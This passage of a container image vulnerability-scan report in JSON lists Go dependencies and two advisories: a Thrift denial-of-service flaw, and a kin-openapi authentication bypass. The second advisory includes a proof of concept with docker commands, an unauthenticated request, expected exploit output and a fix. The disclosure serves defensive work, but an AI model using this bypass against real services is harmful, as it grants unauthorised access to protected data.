"go4.org/netipx@v0.0.0-20230125063823-8449b0a6169f", "Name": "go4.org/netipx", "Identifier": { "PURL": "pkg:golang/go4.org/netipx@v0.0.0-20230125063823-8449b0a6169f", "UID": "ff42c9692e021c25" }, "Version": "v0.0.0-20230125063823-8449b0a6169f", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gocloud.dev@v0.44.0", "Name": "gocloud.dev", "Identifier": { "PURL": "pkg:golang/gocloud.dev@v0.44.0", "UID": "bc4fa26efce1f663" }, "Version": "v0.44.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/crypto@v0.52.0", "Name": "golang.org/x/crypto", "Identifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.52.0", "UID": "ed1a6850b8ba8c85" }, "Version": "v0.52.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/exp@v0.0.0-20260312153236-7ab1446f8b90", "Name": "golang.org/x/exp", "Identifier": { "PURL": "pkg:golang/golang.org/x/exp@v0.0.0-20260312153236-7ab1446f8b90", "UID": "578f2438c00700f3" }, "Version": "v0.0.0-20260312153236-7ab1446f8b90", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/net@v0.55.0", "Name": "golang.org/x/net", "Identifier": { "PURL": "pkg:golang/golang.org/x/net@v0.55.0", "UID": "3762bd4e34baa6ce" }, "Version": "v0.55.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/oauth2@v0.36.0", "Name": "golang.org/x/oauth2", "Identifier": { "PURL": "pkg:golang/golang.org/x/oauth2@v0.36.0", "UID": "2a182f0601abacaa" }, "Version": "v0.36.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sync@v0.20.0", "Name": "golang.org/x/sync", "Identifier": { "PURL": "pkg:golang/golang.org/x/sync@v0.20.0", "UID": "f8a16746c07a694a" }, "Version": "v0.20.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sys@v0.45.0", "Name": "golang.org/x/sys", "Identifier": { "PURL": "pkg:golang/golang.org/x/sys@v0.45.0", "UID": "f14f1cfa20171de7" }, "Version": "v0.45.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/term@v0.43.0", "Name": "golang.org/x/term", "Identifier": { "PURL": "pkg:golang/golang.org/x/term@v0.43.0", "UID": "20bd147b969e0651" }, "Version": "v0.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/text@v0.37.0", "Name": "golang.org/x/text", "Identifier": { "PURL": "pkg:golang/golang.org/x/text@v0.37.0", "UID": "f5591d8a5f651e8f" }, "Version": "v0.37.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/time@v0.15.0", "Name": "golang.org/x/time", "Identifier": { "PURL": "pkg:golang/golang.org/x/time@v0.15.0", "UID": "97c085e913d856d5" }, "Version": "v0.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/tools@v0.44.0", "Name": "golang.org/x/tools", "Identifier": { "PURL": "pkg:golang/golang.org/x/tools@v0.44.0", "UID": "ddea6c7807f03a8d" }, "Version": "v0.44.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "Name": "golang.org/x/xerrors", "Identifier": { "PURL": "pkg:golang/golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "UID": "b94dd4e84cb28ef" }, "Version": "v0.0.0-20240903120638-7835f813f4da", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gomodules.xyz/jsonpatch/v2@v2.5.0", "Name": "gomodules.xyz/jsonpatch/v2", "Identifier": { "PURL": "pkg:golang/gomodules.xyz/jsonpatch/v2@v2.5.0", "UID": "e86c8ebe7c9832e2" }, "Version": "v2.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gonum.org/v1/gonum@v0.17.0", "Name": "gonum.org/v1/gonum", "Identifier": { "PURL": "pkg:golang/gonum.org/v1/gonum@v0.17.0", "UID": "966728e83ec10538" }, "Version": "v0.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/api@v0.256.0", "Name": "google.golang.org/api", "Identifier": { "PURL": "pkg:golang/google.golang.org/api@v0.256.0", "UID": "db4790e9d4027f81" }, "Version": "v0.256.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/genproto@v0.0.0-20260128011058-8636f8732409", "Name": "google.golang.org/genproto", "Identifier": { "PURL": "pkg:golang/google.golang.org/genproto@v0.0.0-20260128011058-8636f8732409", "UID": "e713a9495791cf94" }, "Version": "v0.0.0-20260128011058-8636f8732409", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/genproto/googleapis/api@v0.0.0-20260401024825-9d38bb4040a9", "Name": "google.golang.org/genproto/googleapis/api", "Identifier": { "PURL": "pkg:golang/google.golang.org/genproto/googleapis/api@v0.0.0-20260401024825-9d38bb4040a9", "UID": "df3390ef9609fd7e" }, "Version": "v0.0.0-20260401024825-9d38bb4040a9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/genproto/googleapis/rpc@v0.0.0-20260406210006-6f92a3bedf2d", "Name": "google.golang.org/genproto/googleapis/rpc", "Identifier": { "PURL": "pkg:golang/google.golang.org/genproto/googleapis/rpc@v0.0.0-20260406210006-6f92a3bedf2d", "UID": "1ea2d230f999236a" }, "Version": "v0.0.0-20260406210006-6f92a3bedf2d", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/grpc@v1.80.0", "Name": "google.golang.org/grpc", "Identifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.80.0", "UID": "8c14663967a52663" }, "Version": "v1.80.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/protobuf@v1.36.11", "Name": "google.golang.org/protobuf", "Identifier": { "PURL": "pkg:golang/google.golang.org/protobuf@v1.36.11", "UID": "d99a761f0bc6fcba" }, "Version": "v1.36.11", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/evanphx/json-patch.v4@v4.13.0", "Name": "gopkg.in/evanphx/json-patch.v4", "Identifier": { "PURL": "pkg:golang/gopkg.in/evanphx/json-patch.v4@v4.13.0", "UID": "78339303c7823c99" }, "Version": "v4.13.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/inf.v0@v0.9.1", "Name": "gopkg.in/inf.v0", "Identifier": { "PURL": "pkg:golang/gopkg.in/inf.v0@v0.9.1", "UID": "c3a7e3befaba2f04" }, "Version": "v0.9.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/ini.v1@v1.67.1", "Name": "gopkg.in/ini.v1", "Identifier": { "PURL": "pkg:golang/gopkg.in/ini.v1@v1.67.1", "UID": "f409d54c2510173e" }, "Version": "v1.67.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/mail.v2@v2.3.1", "Name": "gopkg.in/mail.v2", "Identifier": { "PURL": "pkg:golang/gopkg.in/mail.v2@v2.3.1", "UID": "899789d710c29d71" }, "Version": "v2.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/natefinch/lumberjack.v2@v2.2.1", "Name": "gopkg.in/natefinch/lumberjack.v2", "Identifier": { "PURL": "pkg:golang/gopkg.in/natefinch/lumberjack.v2@v2.2.1", "UID": "c406bd200eb25b85" }, "Version": "v2.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/src-d/go-errors.v1@v1.0.0", "Name": "gopkg.in/src-d/go-errors.v1", "Identifier": { "PURL": "pkg:golang/gopkg.in/src-d/go-errors.v1@v1.0.0", "UID": "bc68a8e01ee60249" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/telebot.v3@v3.3.8", "Name": "gopkg.in/telebot.v3", "Identifier": { "PURL": "pkg:golang/gopkg.in/telebot.v3@v3.3.8", "UID": "84868d3cd6fadb6" }, "Version": "v3.3.8", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/yaml.v2@v2.4.0", "Name": "gopkg.in/yaml.v2", "Identifier": { "PURL": "pkg:golang/gopkg.in/yaml.v2@v2.4.0", "UID": "6a92dd5fba6f756" }, "Version": "v2.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/yaml.v3@v3.0.1", "Name": "gopkg.in/yaml.v3", "Identifier": { "PURL": "pkg:golang/gopkg.in/yaml.v3@v3.0.1", "UID": "63c7769ec9af6972" }, "Version": "v3.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/api@v0.35.3", "Name": "k8s.io/api", "Identifier": { "PURL": "pkg:golang/k8s.io/api@v0.35.3", "UID": "540c77ecbb2b6d3c" }, "Version": "v0.35.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/apiextensions-apiserver@v0.35.1", "Name": "k8s.io/apiextensions-apiserver", "Identifier": { "PURL": "pkg:golang/k8s.io/apiextensions-apiserver@v0.35.1", "UID": "318e74ad7e2257c4" }, "Version": "v0.35.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/apimachinery@v0.35.3", "Name": "k8s.io/apimachinery", "Identifier": { "PURL": "pkg:golang/k8s.io/apimachinery@v0.35.3", "UID": "a68bc9a4923a2c2a" }, "Version": "v0.35.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/apiserver@v0.35.1", "Name": "k8s.io/apiserver", "Identifier": { "PURL": "pkg:golang/k8s.io/apiserver@v0.35.1", "UID": "eeede10ddd9f5edf" }, "Version": "v0.35.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/client-go@v0.35.3", "Name": "k8s.io/client-go", "Identifier": { "PURL": "pkg:golang/k8s.io/client-go@v0.35.3", "UID": "616ba2b987c28db3" }, "Version": "v0.35.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/component-base@v0.35.1", "Name": "k8s.io/component-base", "Identifier": { "PURL": "pkg:golang/k8s.io/component-base@v0.35.1", "UID": "ac7c8bc2c013f524" }, "Version": "v0.35.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/klog/v2@v2.130.1", "Name": "k8s.io/klog/v2", "Identifier": { "PURL": "pkg:golang/k8s.io/klog/v2@v2.130.1", "UID": "5a629f18dc2e75ea" }, "Version": "v2.130.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/kms@v0.35.1", "Name": "k8s.io/kms", "Identifier": { "PURL": "pkg:golang/k8s.io/kms@v0.35.1", "UID": "3e589ac7da96ed14" }, "Version": "v0.35.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/kube-aggregator@v0.35.0", "Name": "k8s.io/kube-aggregator", "Identifier": { "PURL": "pkg:golang/k8s.io/kube-aggregator@v0.35.0", "UID": "8d84912384185ad8" }, "Version": "v0.35.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "Name": "k8s.io/kube-openapi", "Identifier": { "PURL": "pkg:golang/k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "UID": "bee7aabfbaafe9de" }, "Version": "v0.0.0-20260127142750-a19766b6e2d4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/utils@v0.0.0-20251002143259-bc988d571ff4", "Name": "k8s.io/utils", "Identifier": { "PURL": "pkg:golang/k8s.io/utils@v0.0.0-20251002143259-bc988d571ff4", "UID": "6f320263e87e89e" }, "Version": "v0.0.0-20251002143259-bc988d571ff4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "modernc.org/libc@v1.70.0", "Name": "modernc.org/libc", "Identifier": { "PURL": "pkg:golang/modernc.org/libc@v1.70.0", "UID": "c27f600fcd1c6d83" }, "Version": "v1.70.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "modernc.org/mathutil@v1.7.1", "Name": "modernc.org/mathutil", "Identifier": { "PURL": "pkg:golang/modernc.org/mathutil@v1.7.1", "UID": "edecb66b2a5cc642" }, "Version": "v1.7.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "modernc.org/memory@v1.11.0", "Name": "modernc.org/memory", "Identifier": { "PURL": "pkg:golang/modernc.org/memory@v1.11.0", "UID": "cd7f4001cc053e2" }, "Version": "v1.11.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "modernc.org/sqlite@v1.48.2", "Name": "modernc.org/sqlite", "Identifier": { "PURL": "pkg:golang/modernc.org/sqlite@v1.48.2", "UID": "a02f0a469a3cf2a0" }, "Version": "v1.48.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/apiserver-network-proxy/konnectivity-client@v0.34.0", "Name": "sigs.k8s.io/apiserver-network-proxy/konnectivity-client", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/apiserver-network-proxy/konnectivity-client@v0.34.0", "UID": "596fdbcf7c48df24" }, "Version": "v0.34.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/json@v0.0.0-20250730193827-2d320260d730", "Name": "sigs.k8s.io/json", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/json@v0.0.0-20250730193827-2d320260d730", "UID": "98d1ef09c96b5fe4" }, "Version": "v0.0.0-20250730193827-2d320260d730", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/randfill@v1.0.0", "Name": "sigs.k8s.io/randfill", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/randfill@v1.0.0", "UID": "c693fd3fbe50f533" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/structured-merge-diff/v6@v6.3.2", "Name": "sigs.k8s.io/structured-merge-diff/v6", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/structured-merge-diff/v6@v6.3.2", "UID": "5cc915e571d5e2d7" }, "Version": "v6.3.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "sigs.k8s.io/yaml@v1.6.0", "Name": "sigs.k8s.io/yaml", "Identifier": { "PURL": "pkg:golang/sigs.k8s.io/yaml@v1.6.0", "UID": "af979278098b9e9c" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "software.sslmate.com/src/go-pkcs12@v0.7.0", "Name": "software.sslmate.com/src/go-pkcs12", "Identifier": { "PURL": "pkg:golang/software.sslmate.com/src/go-pkcs12@v0.7.0", "UID": "9ea4fe4c99db4594" }, "Version": "v0.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "xorm.io/builder@v0.3.13", "Name": "xorm.io/builder", "Identifier": { "PURL": "pkg:golang/xorm.io/builder@v0.3.13", "UID": "ecd0e801a102906" }, "Version": "v0.3.13", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-43871", "VendorIDs": [ "GHSA-8wv5-x4w7-5gww" ], "PkgID": "github.com/apache/thrift@v0.23.1-0.20260429145742-d2acd3c49e58", "PkgName": "github.com/apache/thrift", "PkgIdentifier": { "PURL": "pkg:golang/github.com/apache/thrift@v0.23.1-0.20260429145742-d2acd3c49e58", "UID": "4de81edfd300448e" }, "InstalledVersion": "v0.23.1-0.20260429145742-d2acd3c49e58", "FixedVersion": "0.24.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43871", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:cd94f788ffafb3dc1f455a77b7680981f0bfea7d61a1d3efec6494c57f7b2378", "Title": "thrift: Apache Thrift: Denial of Service via infinite loop", "Description": "Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Thrift Python, Go, PHP and Java bindings.This issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/24/33", "https://access.redhat.com/security/cve/CVE-2026-43871", "https://advisory.echohq.com/cve/CVE-2026-43871", "https://github.com/apache/thrift", "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9", "https://lists.apache.org/thread/l4dwf14zbyqsmkc28c99ojj3t3gg9qby", "https://nvd.nist.gov/vuln/detail/CVE-2026-43871", "https://www.cve.org/CVERecord?id=CVE-2026-43871" ], "PublishedDate": "2026-07-27T12:16:44.413Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "GHSA-r277-6w6q-xmqw", "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.144.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-r277-6w6q-xmqw", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:1cb24694ee2ef373e8334b822ef716a4969a2cc5203fc28147a0221bf88c5adf", "Title": "kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default", "Description": "### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n Request: r,\n PathParams: pathParams,\n Route: route,\n Options: options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n -t vuln001-auth-bypass-poc \\\n -f vuln-001/Dockerfile \\\n reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n /secret:\n get:\n security:\n - apiKey: []\ncomponents:\n securitySchemes:\n apiKey:\n type: apiKey\n name: X-Api-Key\n in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n ValidationHandler.AuthenticationFunc: NOT SET (nil)\n Load() will inject NoopAuthenticationFunc, which always returns nil\n\n Request: GET /secret (X-Api-Key header: absent)\n Response: status=200 body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n Protected resource /secret returned SECRET_DATA without credentials.\n ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n if h.Handler == nil {\n h.Handler = http.DefaultServeMux\n }\n- if h.AuthenticationFunc == nil {\n- h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n if h.ErrorEncoder == nil {\n h.ErrorEncoder = DefaultErrorEncoder\n }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP 